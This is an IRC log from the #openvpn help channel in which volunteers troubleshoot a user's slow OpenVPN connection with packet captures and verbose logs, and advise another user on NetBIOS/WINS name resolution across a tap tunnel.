22:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:25 < scanf> so, in an ethernet bridging/L2 situation, how can i set the server and client to run a command upon connection, seems like i can only do ifconfig, i really want to add routes and put the tap in promisc mode...
23:31 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
--- Day changed Sun Aug 04 2013
00:09 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
01:04 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ykikfjesxutometk] has joined #openvpn
01:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:57 <@EugeneKay> !hooks
01:57 <@EugeneKay> !script
01:57 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
01:57 <@EugeneKay> That way
01:57 <@EugeneKay> !whybridge
01:57 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
01:57 <@EugeneKay> See also that
02:01 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
02:14 -!- copper [~copper@unaffiliated/copper] has quit [Quit: leaving]
02:24 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
02:38 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
02:42 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:48 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
02:50 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:46 -!- Guest7131 [~Freeaqing@91.214.168.110] has joined #openvpn
05:25 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
05:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:41 -!- sitaktif1 is now known as sitaktif
06:05 -!- abrkn [~abkn@195.159.164.228] has quit [Read error: Operation timed out]
06:06 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 245 seconds]
06:08 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has joined #openvpn
06:08 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has quit [Changing host]
06:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:17 -!- master_of_master [~master_of@p4FF24999.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
06:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
06:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:50 -!- kubbing_ [~kubbing@ip-89-177-146-3.net.upcbroadband.cz] has joined #openvpn
06:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
06:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
06:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
07:00 -!- abrkn [~abkn@c483C5AC1.dhcp.as2116.net] has joined #openvpn
07:08 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
07:13 -!- dfresha [~krapper@territory.krapper.net] has joined #openvpn
07:13 -!- krapper [krapper@territory.krapper.net] has quit [Read error: Connection reset by peer]
07:26 -!- abrkn [~abkn@c483C5AC1.dhcp.as2116.net] has quit []
07:34 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Quit: disconnected by your smile]
07:52 -!- danfromuk [~androirc@unaffiliated/danfromuk] has joined #openvpn
07:55 < danfromuk> I keep losing an ssh connection thats established through an openvpn connection. I think my broadband connection has some packet loss since its a 3g connection. Will switching openvpn to tcp improve things or will it make any difference?
07:59 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has quit [Ping timeout: 256 seconds]
08:02 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
08:02 < copper> hello
08:03 < copper> I never figured out my OpenVPN slowness problem, so now I'm just using a PPTP tunnel.
08:03 < copper> Facebook and Twitter, which were extremely slow via OpenVPN, are super fast via PPTP.
08:04 < copper> I didn't specify any special settings
08:07 -!- Freeaq [~dolf@83.232.96.217] has quit [Ping timeout: 264 seconds]
08:14 -!- JAVACODER [~JAVACODER@2.190.45.32] has joined #openvpn
08:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:19 -!- Freeaq [~dolf@at1.s.kynet.eu] has joined #openvpn
08:24 -!- Varazir [~mircwars@c-94-255-133-96.cust.bredband2.com] has joined #openvpn
08:37 -!- danfromuk [~androirc@unaffiliated/danfromuk] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
08:44 -!- micky12 [~micky12@amsterdam.perfect-privacy.com] has joined #openvpn
08:44 < micky12> hello
08:44 < micky12> i am a bit confused
08:45 < micky12> openvpn ./configure --help says that lzo support is disabled by default
08:45 < micky12> is that right?
08:45 < micky12> i tried to turn off the disable function but it says unknown
08:47 -!- kubbing_ [~kubbing@ip-89-177-146-3.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:59 < copper> meh, PPTP on Android is flaky
08:59 < copper> :(
09:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:03 < kisom> copper: So use OpenVPN
09:03 < rob0> PPTP on anything is garbage.
09:03 < copper> kisom: like I said, it doesn't work properly with lots of sites, on my setup anyway
09:03 < copper> too slow
09:03 < copper> way too slow
09:03 < kisom> What do you mean?
09:04 < rob0> Might as well use ipip or other unencrypted tunnel as use PPTP.
09:04 < kisom> copper: We use OpenVPN at work on both iOS/Android and it works fine
09:04 < copper> kisom: I set up OpenVPN to redirect all traffic. Works, except on some websites, like Facebook and Twitter, which are extremely slow over the OpenVPN link
09:04 < copper> some suggested MTU problem, but none of the solutions made any difference
09:05 < kisom> copper: Did you investigate using tcpdump/wireshark?
09:05 < copper> no
09:05 < kisom> Then why are you blaming OpenVPN?
09:05 < kisom> There are lots of stuff that can go wrong.
09:06 < copper> because it's super fast over PPTP or over a SSH socks proxy
09:06 < rob0> So find a solution that meets your needs and move on.
09:06 < copper> what the hell is that supposed to mean
09:06 < copper> obviously I'm looking for a solution
09:07 < kisom> copper: His point is that you didn't do your homework by finding the actual problem. "It doesn't work with OpenVPN but works with X" isn't really helpful for us if we are to help you.
09:08 < copper> chill please
09:08 < kisom> My suggestion is to check with wireshark and see what's going on.
09:08 < copper> I was here yesterday and I provided all my configuration
09:08 < rob0> Chill, you are the only one getting excited.
09:09 < rob0> Remember, none of us "need" to help you.
09:09 < kisom> I'm calm. Doing linear algebra to classical music and a cup of extremly strong coffee right now.
09:09 <@plaisthos> copper: or you hae broken ipv6
09:09 < copper> I don't use ipv6
09:09 < copper> look, I don't know much about networking, I'm trying what I can
09:09 < copper> I spent hours on it yesterday
09:09 < kisom> copper: Want to try facebook out over my test server?
09:10 < copper> I'm gonna try and use wireshark, but I need to read some documentation about it
09:10 < copper> kisom: do you mean you'll provide me with client certs and keys?
09:10 < copper> yes I'd like to try
09:10 < kisom> copper: Yes
09:10 < copper> sure
09:10 < kisom> copper: PM me an email and I'll send a unified profile over
09:10 <@plaisthos> scrap that ipv6 stuff, twitter does not use ipv6
09:11 < copper> kisom: did you get it?
09:12 < kisom> copper: Yeah, one sec
09:13 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 246 seconds]
09:14 < kisom> copper: Sent
09:14 < copper> got it, thanks
09:15 < copper> hmmm, how do I use this?
09:15 < copper> I can figure it out
09:15 < kisom> Same way you imported your own .ovpn files on Android...
09:15 < kisom> Just open the file using the app
09:17 -!- JAVACODER [~JAVACODER@2.190.45.32] has left #openvpn ["JAVACODER"]
09:18 < kisom> There you go.
09:18 < copper> no I meant on my laptop
09:19 < copper> anyway, works fine
09:19 < copper> unsurprisingly
09:19 < copper> I changed servers recently, and I'm not sure, but I think that's when I started having problems
09:19 < kisom> And on your phone?
09:19 < copper> my phone is irrelevant
09:20 < copper> the slowness problems I have are on my laptop
09:20 < copper> and I tried your VPN on my laptop
09:20 < kisom> OK, and the slowness problem does not appear when using my service, I take it?
09:20 < copper> nope
09:20 < copper> works fine
09:20 < copper> fast
09:21 < kisom> Then you need to investigate your own setup.
09:21 < copper> there are two things that changed recently, that I can think of: new server with different ethernet device, in a different datacenter (from the same hosting company, though)
09:22 < copper> same OS, same configuration
09:28 < kisom> copper: OK, I have no clue, but I bet your problem isn't related to OpenVPN.
09:28 < copper> I don't think it's OpenVPN per se either
09:28 < copper> it used to work just fine
09:29 < copper> it's some sort of networking problem, but I have very little knowledge about such things
09:31 < kisom> There's not much we can do about that. Anyways, I'm off for now.
09:33 -!- mode/#openvpn [-o plaisthos] by plaisthos
09:34 -!- master_of_master [~master_of@p4FF24999.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- novaflash is now known as novaflash_away
09:49 -!- novaflash_away is now known as novaflash
10:06 -!- micky12 [~micky12@amsterdam.perfect-privacy.com] has quit [Quit: Leaving]
10:19 < raven_> openvpn on ipfire: connection successful but no traffic at all - need help please
10:19 < copper> I just set it up on another host (different hosting company), Facebook and Twitter are fast via OpenVPN
10:19 < copper> exact same configuration
11:17 < copper> some guy said that it's not an MTU problem if PPTP works
11:18 < copper> is that correct?
11:18 <@krzee> !mtu
11:18 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
11:19 <@krzee> its not MTU if you test mtu and find its not mtu :)
11:21 <@EugeneKay> What if its MTU
11:22 < copper> reading
11:23 < copper> I should test on the OpenVPN client side, and not on the server side?
11:25 < plaisthos> see also mssfix
11:27 < copper> Beginning empirical MTU test -- results should be available in 3 to 4 minutes.
11:27 < copper> let's put it this way: can you think of a specific reason why OpenVPN would be slow with some websites, but not PPTP?
11:29 < copper> "NOTE: Empirical MTU test completed [Tried,Actual] local->remote=[1541,1541] remote->local=[1541,1541]"
11:30 < copper> all interfaces are configured with the default MTU size of 1500
11:30 < copper> local and remote eth and tun
11:30 <@krzee> only slow to some websites, with the pptp service on the exact same server?  if yes to both then i have no clue what could cause that
11:30 < copper> PPTP always fast
11:30 <@krzee> runs on the same metal?
11:31 < copper> and yes on the exact same server, with the same client (laptop on my ADSL line)
11:31 < copper> metal?
11:31 <@krzee> hardware
11:31 < copper> yes
11:31 <@krzee> other websites are fast through openvpn?
11:31 < copper> yes
11:31 <@krzee> ya dude dunno
11:32 < copper> like, Google News is fast
11:33 < copper> wiki.archlinux.org too
11:49 < kisom> copper: Are you running over TCP or UDP?
11:49 < copper> UDP, but I tried TCP, no change
11:51 < kisom> copper: Do a wireshark dump on the client VPN interface and upload it somewhere
11:52 < kisom> Make sure to visit Google while dumoping
11:52 < copper> I don't know how to do that
11:52 < copper> I have it installed, I just have no idea how to use it
11:52 < kisom> Install Wireshark, select the VPN interface, start dumping and then save the dump file
11:56 <+pekster> cloudshark.org has a nice interface and easy way ty upload pcap files (dump files)
11:56 -!- tripolar [~u@unaffiliated/tripolar] has joined #openvpn
11:57 < copper> VPN interface: tun0?
11:58 < kisom> Yeah
11:58 < kisom> copper: You can do tcpdump -i tun0 -s 0 -w /tmp/dump.cap on linux
11:59 < tripolar> hi
12:01 < copper> I uploaded dump.cap on cloudshark
12:01 < copper> now what?
12:01 < kisom> Link it
12:02 < copper> http://cloudshark.org/captures/004ab6de574e
12:02 <@vpnHelper> Title: CloudShark (at cloudshark.org)
12:02 < copper> thanks for trying to help
12:02 < copper> I can't read any of it
12:03 < copper> I captured the data while accessing facebook.com via my OpenVPN tunnel
12:03 < kisom> Ok, I'll have a look
12:03 < copper> thank you
12:07 < raven_> openvpn on ipfire: connection successful but no traffic at all - need help please
12:08 < kisom> copper: Looks pretty bad, lots of TCP retransmissions
12:09 < kisom> copper: To be honest I have no idea what might cause this sort of behaviour over just OpenVPN while PPTP works.
12:10 < kisom> copper: Can you try Facebook over SSH over CVPN?
12:10 < kisom> VPN*
12:10 < copper> hmmm, what do you mean?
12:10 < copper> "SSH over VPN"?
12:10 < copper> ssh -D?
12:11 < kisom> SSH to your server over the VPN and then use the proxy option
12:11 < copper> the SSH socks proxy?
12:11 < kisom> Yes
12:11 < copper> ok
12:11 < copper> hmmm
12:12 < copper> so I need my SSHd to listen on the VPN interface, right?
12:12 < kisom> Yes
12:12 < copper> ok
12:12 < kisom> It should already do so unless you told it otherwise
12:13 < scanf> copper: whats your host machine running?
12:14 < copper> scanf: Arch Linux
12:14 < copper> kisom: interesting
12:14 < scanf> shouldve known :)
12:14 < copper> kisom: over ssh -D, over VPN, facebook = fast
12:15 < scanf> copper: seems like you should only use archlinux as a workstation :)
12:15 < scanf> is the machine it works on archlinux?
12:15 < copper> I never had a problem before, with Arch Linux servers
12:15 < copper> server and client are running arch linux
12:15 < kisom> copper: Did you do pacman -Syu recently? OpenVPN had a bug a while ago that might cause the issue. I think it was fixed in 2.3.1.
12:15 < copper> I only started having that problem on my new server
12:15 < copper> yes, all up to date
12:16 < kisom> I run arch myself, as a server. And it works fine with OpenVPN and facebook.
12:16 < copper> yes, my previous server worked fine too, and another server running Arch Linux with the same configuration works fine right now
12:17 < kisom> copper: Enable --verb 5 on both server and client while surfing on facebook
12:17 < kisom> And post links to those logs here
12:17 < copper> ok
12:19 < scanf> looks like from the prev config you have MTU problems, as previously said
12:19 < scanf> [Reassembly error, protocol TCP: New fragment overlaps old data (retransmission?)]
12:20 < copper> I got lots of "WrWRwrWr"
12:20 < scanf> Writes and Reads
12:23 < copper> client log: http://pastebin.com/1k8HHqqg
12:23 < copper> server log: http://pastebin.com/H30UsEA3
12:23 < copper> ^^ while accessing facebook.com
12:26 < kisom> MULTI: bad source address from client [192.168.1.2], packet dropped
12:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:29 < copper> kisom: I don't understand that error, I'm using the masquerade line in iptables
12:29 < copper> and the traffic does go through
12:30 < copper> ugh, lemme try something
12:30 < kisom> Using 192.168.1.x in your masquerade settings maybe?
12:31 < kisom> copper: Check this: https://forums.openvpn.net/topic12170.html
12:31 <@vpnHelper> Title: OpenVPN Support Forum MULTI: bad source address from client[192.168.1.23], packet : Cert / Config management (at forums.openvpn.net)
12:33 <+pekster> That error happens when your *client* is using a bogus address as the source across the tunnel
12:33 <+pekster> Stop your client from doing such (naughty) things; openvpn will continue to (correctly) drop such invalid spoofs. If you intended for that behaviour, see !iroute
12:35 <+pekster> (Windows is especially bad at that, for some reason)
12:35 < copper> kisom: I did
12:35 < copper> pekster: how can I help that?
12:35 -!- Freeaq [~dolf@at1.s.kynet.eu] has quit [Ping timeout: 264 seconds]
12:36 < copper> I have no iptables rule on my client
12:36 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
12:37 < copper> iptables rules on the server: http://pastebin.com/k7cChDhf
12:37 <+pekster> Unless you're forwarding traffic through the client, some application on your client is incorrectly generating that traffic and sending it down the tun interface with an invalid IP
12:37 <+pekster> (you'd need to look at the traffic itself and figure out which offending application is doing that)
12:38 < copper> <copper> http://cloudshark.org/captures/004ab6de574e
12:38 <@vpnHelper> Title: CloudShark (at cloudshark.org)
12:39 <+pekster> Your VPN is 10.21.32/24?
12:39 < copper> yes
12:40 < copper> 192.168.1.0/24 is my local wifi / ADSL router
12:40 <+pekster> Then any of the 192.168.1/24 sourced-packets shouldn't have been sent down the tun interface at all
12:40 <+pekster> Looks like a lot of http/https traffic
12:40 < copper> facebook generates a lot of such traffic
12:41 < copper> that capture was made while accessing facebook.com
12:41 <+pekster> That's not really the point; it's worthless for any application to send traffic down an interface for which it doesn't have an IP assigned
12:41 <+pekster> This is Windows?
12:41 < copper> Arch Linux
12:41 < copper> server and laptop
12:41 <+pekster> Ultimately it's the application/OS's fault for doing that, unless you're specifically mangling the packets like that
12:42 <+pekster> This capture was on the tun interface, not the Linux 'any' psudo-interface, right?
12:42 <+pekster> ie: `tcpdump -pni tun0 -w some-file.pcap` or such?
12:42 <+pekster> And oddly it's just the FIN+ACK packets that seem to do that
12:43 < copper> yes
12:43 < copper> tcpdump -i tun0 -s 0 -w /tmp/dump.cap
12:43 < copper> should I run another capture?
12:44 <+pekster> Not really, but in the future use -p unless you intended to put your interface into promisc mode during capture
12:44 <+pekster> (it won't change things here)
12:44 < kisom> pekster: -p is used together with -w to dump not only just the header of the packet
12:45 <+pekster> No
12:45 < kisom> OK, you're right. My bad.
12:45 <+pekster> -p does *not* explicitly put the interface into promiscious mode
12:45 <+pekster> -s chooses how much to dump, and -w sends it to a file
12:46 < kisom> pekster: Yeah, I mixed them up. Sorry.
12:48 -!- Freeaq [~dolf@83.232.96.217] has joined #openvpn
12:48 <+pekster> No worries
12:49 <+pekster> (basisc rule of thumb, always use -p unless you have a good reason. My de-facto starting point is -pnvi ifWhatever -w somewhere.pcap
12:49 <+pekster> Add -s and capture filters as needed
12:49 < copper> dump while accessing facebook via OpenVPN on a server with the same configuration, but works: http://cloudshark.org/captures/d8a34dba84fe
12:49 <@vpnHelper> Title: CloudShark (at cloudshark.org)
12:50 < copper> i.e. with a server that doesn't show the facebook loading speed problem
12:50 < copper> (it's very fast)
12:50 < copper> arch linux too, same iptables, same openvpn
12:50 < copper> different hardware though
12:50 < copper> different hosting company
12:51 < copper> same client side configuration though
12:52 < copper> I suspect the working server is some virtualized server
12:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:53 < copper> lspci: pcilib: Cannot open /proc/bus/pci; lspci: Cannot find any working access method.
12:54 < copper> the malfunctionning server is a real machine
12:57 < copper> you know what
12:57 < copper> I'll just switch hosting companies
12:58  * Scub shamelessly plugs linode, the best host i've had the pleasure of dealing with
12:58 < Scub> recently upgraded their hardwares so all plans have boosts :)
12:58 < copper> I'm pretty sure I won't have the problem
12:59 < copper> and the peering with the rest of the world is likely better
12:59 < Scub> <3 :)
13:00 < copper> and, they offer Arch Linux, so I don't have to run some complicated process to replace Ubuntu with Arch Linux
13:01 < copper> thank you all for trying to help
13:02 < copper> I suspect it will be moot once I switch to the other hosting company
13:15 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
13:16 -!- Mimiko [~Mimiko@89.28.88.177] has quit [Client Quit]
13:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
13:45 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 260 seconds]
13:56 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
14:03 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
14:22 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
14:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:36 -!- copper [~copper@unaffiliated/copper] has quit [Quit: leaving]
15:20 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
15:21 < copper> bon bah, meme config en rescue, ça marche
15:21 < copper> donc c'est pas du pebkac, ni le NIC, ni le DC
15:22 < copper> le rescue utilise une version antérieure de OpenVPN, mais j'ai essayé la meme version sous Arch, ça marche pas
15:22 < copper> ugh
15:22 < copper> wrong chan, sorry
15:43 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
15:51 -!- copper [~copper@unaffiliated/copper] has quit [Quit: leaving]
16:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
16:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
16:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
16:24 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
16:29 < raven_> openvpn on ipfire: connection successful but no traffic at all - need help please
16:39  * pekster has no clue what "ipfire" is
16:39 <+pekster> !goal
16:39 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:39 <+pekster> !configs
16:39 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:39 <+pekster> !logs
16:39 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:39 <+pekster> Read that and start there
16:41 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
16:48 < raven_> openvpn on ipfire: connection successful but no traffic at all - default route is set but i cannot ping the p2p ip on the client already
16:49 <+pekster> Really?
16:49 < raven_> there is not so much to paste i have to go trough the settings
16:50 <+pekster> No, you need to provide exactly what was indicated above
16:50 <+pekster> The "settings" are the config file
16:50 <+pekster> Was there something above you didn't understand? Becuase it should all be pretty self-explanitory
16:51 < raven_> politeness should be too
16:56 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 256 seconds]
16:56 -!- Serano [~serano@rooty.be] has joined #openvpn
16:57 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
17:00 <+pekster> http://catb.org/~esr/faqs/smart-questions.html
17:00 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
17:02 <+pekster> They have entire sections dedicated to making it easy to reply. Also applies to you would be "volume is not percision" and "be explicit about your question," and maybe "describe the goal, not the step." If you're feeling put out, there's a section for you called "dealing with rudeness" too. When you're ready for help, review what you've been asked to provide, or ask for clarification on what we need to help you: and remember that ...
17:02 <+pekster> ... you're not paying for any of this help as us group of volunteers provide it in our free time
17:05 <@krzee> wow
17:06 <+pekster> Kinda my thought too. I guess it's rude to ask for the details we need to fix problems. My crystal ball is being repaired this week ;)
17:06 <@krzee> stop being so rude!
17:07 <+pekster> !learn ask as See also, "How to ask questions the smart way" here: http://catb.org/~esr/faqs/smart-questions.html
17:07 <@vpnHelper> Joo got it.
17:21 -!- aegis [~aegis@109.201.152.26] has joined #openvpn
17:23 < aegis> Hi all...  I'm having trouble getting my network/server at home running OpenVPN server to see the netbios name of my laptop running OpenVPN client...
17:23 <@krzee> wins or dev tun
17:23 <@krzee> err wins or dev tap*
17:24 <@krzee> !wins
17:24 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
17:24 < aegis> Any suggestions on how to get the laptops netbios name to be recognized on the home network?  The router (which hands out dhcp via its internal dhcp server /dnsmasq) appears to recognize it
17:24 < aegis> I'm running a tap connection form the laptop
17:24 <@krzee> you could have them use a wins server, i believe dnsmasq can run it
17:25 < aegis> I actually used that Oreilly link...  good to know I was in the right spot.  I followed the directions.
17:26 <@krzee> in dnsmasq you can broadcast wins server with: dhcp-option=44,192.168.1.2
17:26 <@krzee> if 192.168.1.2 is wins server
17:27 <@krzee> http://wiki.openwrt.org/doc/howto/dhcp.dnsmasq#configuring.dnsmasq.to.broadcast.wins.server.information
17:27 < aegis> Well, I set up the samba server on my network how that article suggested... still no joy though.  (added wins support = yes and name resolve order = wins lmhosts host bcast )  I also added the option to the router to advertise that machine as the WINS server
17:28 <@krzee> and the vpn clients can ping the wins server, and were also pushed the wins option (and are windows clients)?
17:29 < aegis> krzee, I added this to the dnsmasq's conf 44,10.0.0.21
17:29 <@krzee> dhcp-option=44,10.0.0.21
17:29 <@krzee> how about the openvpn client config?
17:30 < aegis> krzee, yes...  I actually did it via OpenWRT's luci interface...
17:30 <@krzee> ok
17:30 <@krzee> ive never used their web interface
17:30 <@krzee> i buy cheap smaller routers and put openvpn on while removing the web interface
17:30 < aegis> I added push "dhcp-option WINS 10.0.0.21"
17:30 < aegis>  to the openvpn server.conf file
17:31 < aegis> I didn't change the client configuration file at all ...  at least I don't remember doing so.  (I'm actually using the connection now.)
17:31 <@krzee> can the client ping 10.0.0.21?
17:33 <+pekster> I'm popping into this a little late, but why not use DNS instead of relying on the MS-only NBNS crap?
17:33 < aegis> Yup...  I am actually using services on 10.0.0.21 (squid, etc.)
17:33 <@krzee> is the client running windows?
17:33 <@krzee> also, what pekster said is valid ^
17:33 < aegis> krzee, yes
17:33 <+pekster> OpenWRT (and its default dnsmasq environment) already acts as a "mini DNS server" running on the LAN -- then you wouldn't even need tap, just override the DNS and push the domain and it'll magically work
17:34 <@krzee> that is what i would do ^
17:34 <+pekster> Just an alternative that could allow you to go to an L3 solution with DNS and avoid tap completely (using tap so the NBNS subnet broadcasts get passed works too, but it's less elegant)
17:35 <@krzee> i would go through extra work to use l3 tun, but in this case it would actually be less work
17:35 < aegis> pekster, I understand where you're going... the issue is I run backuppc and I take this laptop on and off the network so I have backuppc go by it's netbios name which works well...  otherwise things get jacked up if I try to use the dns name since the network adapters (wireless and ethernet) have different MAC's.
17:36 <+pekster> Ah, so you never know "which" interface it considers primary? I'm not really sure how that works with WINS either, but you can turn off client-side DNS A record requests from a DHCP client
17:36 < aegis> I end up getting IP collisions on my local LAN if I switch from wireless to wired with my laptop.  (It's much faster to do the backups on the wired but I am often wireless.)
17:37 <@krzee> but you'll be on the vpn ip which can be static if you like
17:37 <@krzee> so interface doesnt matter :)
17:37 <+pekster> Right, but if the VPN client tries to talk to boxa.myhome.local, and boxa has 2 interfaces, it becomes an issue
17:37 < aegis> So the problem got solved using netbios because it doesn't matter what IP address I get...
17:37 <+pekster> Oh, or did you mean the VPN system itself?
17:38 <+pekster> Static IP assignment could help there (see !static)
17:38 < aegis> Give me a sec to digest what was written just now... haha
17:38 <+pekster> Otherwise some scripting (via --client-connect probably) could add your client in dynamically as client-name.vpn.myhome.local or such
17:39 -!- treegazer [~mpb@host86-146-110-63.range86-146.btcentralplus.com] has joined #openvpn
17:40 < aegis> pekster, I'm not sure what you mean by never knowing which interface it considers primary...  My laptop is listed in bind9 as laptop1.local and has a hard coded IP address (10.0.0.36)...
17:40 <@krzee> so then what problem is netbios solving for you?
17:40 <@krzee> reaching the vpn client?
17:42 <+pekster> If what you need to do is go from vpn-client -> laptop1.local, why not use your existing DNS server from the client
17:42 <+pekster> As long as you're already putting the expected IP in it, it magically works
17:42 < aegis> krzee, no nothing to do with the vpn...  netbios solves the specific problem I have when I go from wireless to docking my laptop and using the ethernet.  I can't get 10.0.0.36 again via the other MAC or else everything starts complaining.  So when I doc I have it giving me 10.0.0.37...  Using the netbios name in Backuppc allows me to backup regardless of which ip address the laptop is using.
17:43 < aegis> So, all that works well... No I am away from home and I am logged in via my OpenVPN client and server...
17:43 <@krzee> ok i see, so when you are docked you need to be accessed at 10.0.0.37 not 10.0.0.36, right?
17:44 < aegis> Backuppc (nor any machine on the local network EXCEPT the router) can ping my laptop using it's netbios name...  (10.0.0.1, which is the router, for some reason can and the netbios name is listed in the DHCP client list)
17:44 < aegis> krzee, exactly
17:44 < aegis> yes
17:45 < aegis> ^^^^ Should read Backuppc can't ping my laptop using its netbios name
17:45 <@krzee> i wonder how your apps would behave if you gave dnsmasq a single hostname for both IPs
17:46 < aegis> krzee: I actually have that done in DHCP as static leases... both MAC's assigned different IP's but the same hostname...  I don't think it worked at all.
17:46 <+pekster> It'll return both IPs if you have multiple A RR's
17:47 <+pekster> eg: `dig A www.google.com`
17:47 <@krzee> right, but only 1 will be able to be reached
17:47 <+pekster> Right, and you can't control "which" it is unless you only return 1
17:47 < aegis> So, I'm sure my setup isn't the most efficient...  but if I could get my netbios name relayed to my local LAN via OpenVPN it would still work.
17:47 <+pekster> I'm not sure how NBNS figures it out either
17:47 <+pekster> Maybe MS attempts to use the faster interface to respond with when there are multiple connections, but I'm not sure
17:48 <+pekster> If NBNS saved you other trouble, tap can enable you to use it generally "as expected" across the VPN
17:48 <+pekster> I don't like the solution, but you're free to use it if that's the end-goal here
17:48 < aegis> pekster, that's what I was hoping...
17:48 <+pekster> (it's not my net, after all!)
17:48 <+pekster> !whybridge
17:48 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
17:49 <+pekster> In your case, NBNS is an L2 protocol (leveraging subnet broadcasts) so if you defined your needs to include it, that's your only option. DNS (or the MS-hack of WINS) are ways around that requirement, at the cost of additional infrastructure needs
17:50 < aegis> pekster, agreed... there probably is a better way but netbios solved my specific problem at the time...  I could maybe list multiple IP's in bind for the same hostname?  That might fix it...
17:51 <+pekster> As I stated above, it won't magically know which one you want to give it
17:51 <+pekster> It'll basically act as a round-robbin "load balancer" between the 2 IPs
17:51 < aegis> pekster, good point...
